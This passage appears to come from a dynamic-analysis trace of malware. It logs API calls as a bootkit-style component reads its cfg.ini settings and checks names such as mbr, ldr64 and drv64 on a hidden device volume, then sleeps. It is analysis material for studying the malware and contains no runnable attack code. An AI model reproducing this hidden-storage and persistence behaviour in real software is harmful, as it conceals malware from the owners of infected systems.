_Dest="0d24eb7c\\cfg.ini") returned 16 [0118.410] KeEnterCriticalRegion () [0118.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.410] ExFreePoolWithTag (P=0xfffffa80039caeb0, Tag=0x0) [0118.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.410] KeLeaveCriticalRegion () [0118.410] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.410] ReleaseMutex (hMutex=0xf0) returned 1 [0118.410] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.410] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.410] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.410] KeEnterCriticalRegion () [0118.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.411] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.411] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.411] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.411] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.411] IdePortDispatch () returned 0x103 [0118.411] KeWaitForMutexObject () returned 0x0 [0118.411] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.411] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.411] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.411] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.411] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.411] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c5e10 [0118.411] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.411] KeLeaveCriticalRegion () [0118.411] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.411] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.411] KeEnterCriticalRegion () [0118.411] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.411] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.411] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.411] KeLeaveCriticalRegion () [0118.412] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.412] KeEnterCriticalRegion () [0118.412] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.412] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.412] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.412] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.412] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.412] IdePortDispatch () returned 0x103 [0118.412] KeWaitForMutexObject () returned 0x0 [0118.412] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.412] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.412] KeLeaveCriticalRegion () [0118.412] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.412] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.412] KeEnterCriticalRegion () [0118.412] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.412] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd1000 [0118.412] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.412] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.412] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.412] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.412] IdePortDispatch () returned 0x103 [0118.412] KeWaitForMutexObject () returned 0x0 [0118.412] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.412] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.412] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.412] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.412] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.412] IdePortDispatch () returned 0x103 [0118.413] KeWaitForMutexObject () returned 0x0 [0118.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.413] KeLeaveCriticalRegion () [0118.413] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.413] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.413] KeEnterCriticalRegion () [0118.413] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.413] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.413] KeLeaveCriticalRegion () [0118.413] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.413] KeEnterCriticalRegion () [0118.413] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.413] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.413] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c5ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.413] KeLeaveCriticalRegion () [0118.413] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.413] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.414] KeEnterCriticalRegion () [0118.414] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.414] ExFreePoolWithTag (P=0xfffffa80039c5e10, Tag=0x0) [0118.414] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.414] KeLeaveCriticalRegion () [0118.414] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.414] ReleaseMutex (hMutex=0xf0) returned 1 [0118.414] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.414] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.414] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.414] KeEnterCriticalRegion () [0118.414] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.414] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.414] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.414] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.414] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.414] IdePortDispatch () returned 0x103 [0118.414] KeWaitForMutexObject () returned 0x0 [0118.414] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.414] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.414] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.414] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.414] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.414] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cafb0 [0118.414] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.414] KeLeaveCriticalRegion () [0118.414] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.414] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.414] KeEnterCriticalRegion () [0118.414] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.414] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.414] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.414] KeLeaveCriticalRegion () [0118.414] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.414] KeEnterCriticalRegion () [0118.414] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.414] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.415] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.415] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.415] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.415] IdePortDispatch () returned 0x103 [0118.415] KeWaitForMutexObject () returned 0x0 [0118.415] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.415] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.415] KeLeaveCriticalRegion () [0118.415] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.415] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.415] KeEnterCriticalRegion () [0118.415] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.415] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd2000 [0118.415] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.415] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.415] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.415] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.415] IdePortDispatch () returned 0x103 [0118.415] KeWaitForMutexObject () returned 0x0 [0118.415] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.415] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.415] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.415] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.415] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.415] IdePortDispatch () returned 0x103 [0118.416] KeWaitForMutexObject () returned 0x0 [0118.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.416] KeLeaveCriticalRegion () [0118.416] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.416] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.416] KeEnterCriticalRegion () [0118.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.416] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.416] KeLeaveCriticalRegion () [0118.416] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.416] KeEnterCriticalRegion () [0118.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.416] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.416] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.416] KeLeaveCriticalRegion () [0118.416] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.416] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.416] KeEnterCriticalRegion () [0118.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.416] ExFreePoolWithTag (P=0xfffffa80039cafb0, Tag=0x0) [0118.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.416] KeLeaveCriticalRegion () [0118.416] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.417] ReleaseMutex (hMutex=0xf0) returned 1 [0118.417] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.417] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.417] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.417] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.417] KeEnterCriticalRegion () [0118.417] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.417] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.417] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.417] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.417] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.417] IdePortDispatch () returned 0x103 [0118.417] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.417] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.417] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.417] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.417] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.417] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.417] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.417] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.417] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.417] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.417] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.417] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.417] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.417] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.417] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.417] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.417] KeLeaveCriticalRegion () [0118.417] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.417] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.417] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.417] KeEnterCriticalRegion () [0118.417] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.417] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.417] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.418] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.418] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.418] IdePortDispatch () returned 0x103 [0118.418] KeWaitForMutexObject () returned 0x0 [0118.418] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.418] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.418] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.418] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.418] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.418] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.418] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.418] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.418] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.418] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.418] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.418] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.418] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.418] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.418] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.418] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.418] KeLeaveCriticalRegion () [0118.418] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.418] ReleaseMutex (hMutex=0x100) returned 1 [0118.418] Sleep (dwMilliseconds=0x2bf20) [0118.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69c77d70, dwHighDateTime=0x1d24fa4)) [0118.425] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.425] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.425] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.425] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.425] KeEnterCriticalRegion () [0118.425] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.425] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.425] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.425] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.425] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.425] IdePortDispatch () returned 0x103 [0118.425] KeWaitForMutexObject () returned 0x0 [0118.425] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.425] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.425] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.425] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.425] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.425] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039caf00 [0118.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.425] KeLeaveCriticalRegion () [0118.425] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.425] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.425] KeEnterCriticalRegion () [0118.425] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.425] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.425] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.425] KeLeaveCriticalRegion () [0118.425] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.425] KeEnterCriticalRegion () [0118.425] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.425] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.425] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.425] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.425] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.426] IdePortDispatch () returned 0x103 [0118.426] KeWaitForMutexObject () returned 0x0 [0118.426] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.426] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.426] KeLeaveCriticalRegion () [0118.426] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.426] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.426] KeEnterCriticalRegion () [0118.426] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.426] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, 